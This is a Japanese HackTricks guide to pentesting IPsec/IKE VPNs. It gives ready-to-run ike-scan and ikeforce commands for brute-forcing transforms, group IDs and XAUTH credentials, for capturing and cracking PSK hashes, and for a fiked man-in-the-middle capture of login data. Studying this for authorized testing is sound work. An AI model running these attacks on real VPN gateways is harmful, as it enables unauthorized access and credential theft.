22 KiB
500/udp - IPsec/IKE VPNのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
基本情報
IPsecは、ゲートウェイ間(LAN間)およびホストとゲートウェイ(リモートアクセス)の企業VPNソリューションにおいて最も一般的に使用される技術です。
IKEはISAKMP(Internet Security Association Key Management Protocol)の一種であり、認証と鍵交換のためのフレームワークです。IKEは、3つのフェーズのプロセスを通じて2つのエンドポイント間でセキュリティアソシエーション(SA)を確立します。
- フェーズ1: プリ共有キー(PSK)または証明書を使用して、2つのエンドポイント間に安全なチャネルを確立します。メインモード(3つのメッセージのペア)またはアグレッシブモードを使用できます。
- フェーズ1.5: これはオプションで、拡張認証フェーズと呼ばれ、接続しようとしているユーザー(ユーザー+パスワード)を認証します。
- フェーズ2: ESPとAHを使用してデータセキュリティのパラメータを交渉します。フェーズ1で使用されたものとは異なるアルゴリズムを使用できます(完全な転送秘密鍵(PFS))。
デフォルトポート: 500/udp
nmapを使用してサービスを検出する
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
有効な変換を見つける
IPSecの設定は、1つまたはいくつかの変換を受け入れるように準備することができます。変換は値の組み合わせです。各変換には、暗号化アルゴリズムとしてDESまたは3DES、整合性アルゴリズムとしてSHAまたはMD5、認証タイプとして事前共有キー、鍵配布アルゴリズムとしてDiffie-Hellman 1または2、および28800秒の寿命など、いくつかの属性が含まれています。
したがって、最初に行うべきことは、有効な変換を見つけることです。これにより、サーバーがあなたと通信することができます。これを行うために、ツールike-scanを使用することができます。デフォルトでは、ike-scanはメインモードで動作し、ISAKMPヘッダーと1つの提案を含むパケットをゲートウェイに送信します。提案には8つの変換が含まれています。
応答によって、エンドポイントに関するいくつかの情報を取得することができます。
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
前の応答で見られるように、AUTHというフィールドがあり、その値はPSKです。これはVPNが事前共有キーを使用して構成されていることを意味します(これはペンテスターにとって非常に良いことです)。 最後の行の値も非常に重要です:
- 0 returned handshake; 0 returned notify: これはターゲットがIPsecゲートウェイではないことを意味します。
- 1 returned handshake; 0 returned notify: これはターゲットがIPsecに構成され、IKEのネゴシエーションを実行する意思があり、提案したトランスフォームのいずれかが受け入れ可能であることを意味します(有効なトランスフォームは出力に表示されます)。
- 0 returned handshake; 1 returned notify: VPNゲートウェイは、受け入れ可能なトランスフォームがない場合には通知メッセージで応答します(ただし、一部のゲートウェイは応答しない場合もあります。その場合は、さらなる分析と改訂された提案を試す必要があります)。
したがって、この場合は既に有効なトランスフォームがありますが、3番目の場合は少しブルートフォースを行って有効なトランスフォームを見つける必要があります:
まず、すべての可能なトランスフォームを作成する必要があります:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
そして、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
もしブルートフォース攻撃がうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォース攻撃をアグレッシブモードで試してみることができます。
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
以下は、iker.py
を使用して同じ攻撃を試すこともできます。
また、ikeforceを使用して変換をブルートフォースすることもできます。
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
DHグループ:14 = 2048ビットMODPおよび15 = 3072ビット
2 = HMAC-SHA = SHA1(この場合). --transフォーマットは$Enc、$Hash、$Auth、$DHです
特に、CiscoはDHグループ1と2の回避を推奨しています。論文の著者は、弱いグループを使用してネゴシエートされたIPsecセッションを国家が離散対数の事前計算を介して復号できる可能性が高いと説明しています。数億ドルを費やして行われる事前計算は、弱いグループ(1,024ビット以下)を使用したセッションのリアルタイム復号を通じて償却されます。
サーバーのフィンガープリント
次に、ike-scanを使用してデバイスのベンダーを特定することができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンの時間差を分析することで、ペンテスターはVPNゲートウェイのベンダーを正確に特定することができます。さらに、一部のVPNサーバーはIKEでオプションのベンダーID(VID)ペイロードを使用します。
必要に応じて、有効な変換を指定します(--transを使用)
IKEがベンダーを特定すると、それを表示します:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
これはnmapスクリプト_ike-version_でも実現できます。
正しいID(グループ名)の検索
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)が必要です。おそらく正しいグループ名はわからないため、ブルートフォース攻撃を行う必要があります。 そのために、2つの方法をおすすめします。
ike-scanを使用したIDのブルートフォース攻撃
まず、ハッシュを収集するために偽のIDでリクエストを行ってみてください("-P"を使用):
ike-scan -P -M -A -n fakeID <IP>
もしハッシュが返されない場合、おそらくこのブルートフォースの方法は機能するでしょう。もしハッシュが返される場合、それは偽のIDに対して偽のハッシュが送り返されることを意味しますので、この方法は信頼性がありません。例えば、偽のハッシュが返されることがあります(これは最新バージョンで起こります):
しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースする必要があります。
このスクリプトは、可能なIDをブルートフォースし、有効なハンドシェイクが返されるID(有効なグループ名)を返します。
特定の変換を発見した場合は、ike-scanコマンドに追加してください。そして、複数の変換を発見した場合は、すべてを試すための新しいループを追加してください(正常に機能するまですべてを試す必要があります)。
ikeforceの辞書またはseclistsの辞書を使用して、一般的なグループ名をブルートフォースすることができます。
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
または、この辞書を使用します(重複を排除した他の2つの辞書の組み合わせです):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
Ikerを使用したIDのブルートフォース攻撃
iker.pyは、ike-scanを使用して可能なグループ名をブルートフォース攻撃するためにも使用されます。ike-scanの出力に基づいて、有効なIDを見つけるための独自の方法を使用します。
ikeforceを使用したIDのブルートフォース攻撃
ikeforce.pyは、IDのブルートフォース攻撃にも使用できるツールです。このツールは、有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします(偽陽性と偽陰性が発生する可能性があるため、可能な場合はike-scanの方法を使用することをお勧めします)。
デフォルトでは、ikeforceは最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用する戦術を決定します。
- 最初の方法は、CiscoシステムのDead Peer Detection DPDの情報を検索して、グループ名が正しい場合にのみサーバーが再生する情報をブルートフォース攻撃することです。
- 利用可能な2番目の方法は、各試行に送信される応答の数をチェックすることです。正しいIDが使用されると、時にはより多くのパケットが送信されることがあります。
- 3番目の方法は、不正なIDに対する応答として**"INVALID-ID-INFORMATION"を検索**することです。
- 最後に、サーバーがチェックに何も応答しない場合、ikeforceはサーバーをブルートフォース攻撃し、正しいIDが送信されるとサーバーがパケットを返信するかどうかを確認します。
明らかに、IDのブルートフォース攻撃の目的は、有効なIDがある場合にPSKを取得することです。その後、idとPSKを使用してXAUTH(有効な場合)をブルートフォース攻撃する必要があります。
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試すための新しいループを自由に追加してください(正常に機能するまですべてを試す必要があります)。
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
IDのスニッフィング
VPNクライアントとサーバー間の接続をスニッフィングすることで、有効なユーザー名を取得することも可能です。なぜなら、最初のアグレッシブモードパケットにはクライアントIDが平文で送信されるからです(書籍『ネットワークセキュリティアセスメント:ネットワークを知る』より)
ハッシュのキャプチャとクラック
最後に、有効な変換とグループ名が見つかり、かつアグレッシブモードが許可されている場合、クラック可能なハッシュを簡単に取得することができます。
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
ハッシュは_hash.txt_に保存されます。
ハッシュをクラックするために、psk-crack、john(ikescan2john.pyを使用)およびhashcatを使用することができます。
psk-crack -d <Wordlist_path> psk.txt
XAuth
ほとんどの実装では、グループ認証を行うためにPSKを使用したアグレッシブモードIKEを使用し、追加のユーザー認証を提供するためにXAUTHを使用します(Microsoft Active Directory、RADIUS、または類似の方法を介して)。IKEv2では、ユーザーの認証にはEAPがXAUTHの代わりに使用されます。
ローカルネットワークのMitMによる資格情報のキャプチャ
したがって、_fiked_を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(スニッフィングのためにIKEトラフィックをfiked
にリダイレクトする必要があります。これはARPスプーフィングのヘルプを使用して行うことができます、詳細情報)。FikedはVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
また、IPSecを使用してMitM攻撃を行い、ポート500へのすべてのトラフィックをブロックしてみてください。IPSecトンネルが確立できない場合、トラフィックはクリアテキストで送信されるかもしれません。
ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース攻撃
XAUTH(有効なグループ名idとpskがわかっている場合)をブルートフォース攻撃するには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
この方法では、ikeforceはユーザー名とパスワードの組み合わせを使用して接続を試みます。
前の手順と同様に、1つまたは複数の有効なトランスフォームが見つかった場合は、それらを使用してください。
IPSEC VPNでの認証
Kaliでは、IPsecトンネルを確立するためにVPNCが使用されます。プロファイルは_/etc/vpnc/に配置する必要があり、ツールvpnc_を使用して呼び出すことができます。
以下は、書籍Network Security Assessment 3rd Editionからの例です。
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
参考資料
Shodan
port:500 IKE
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。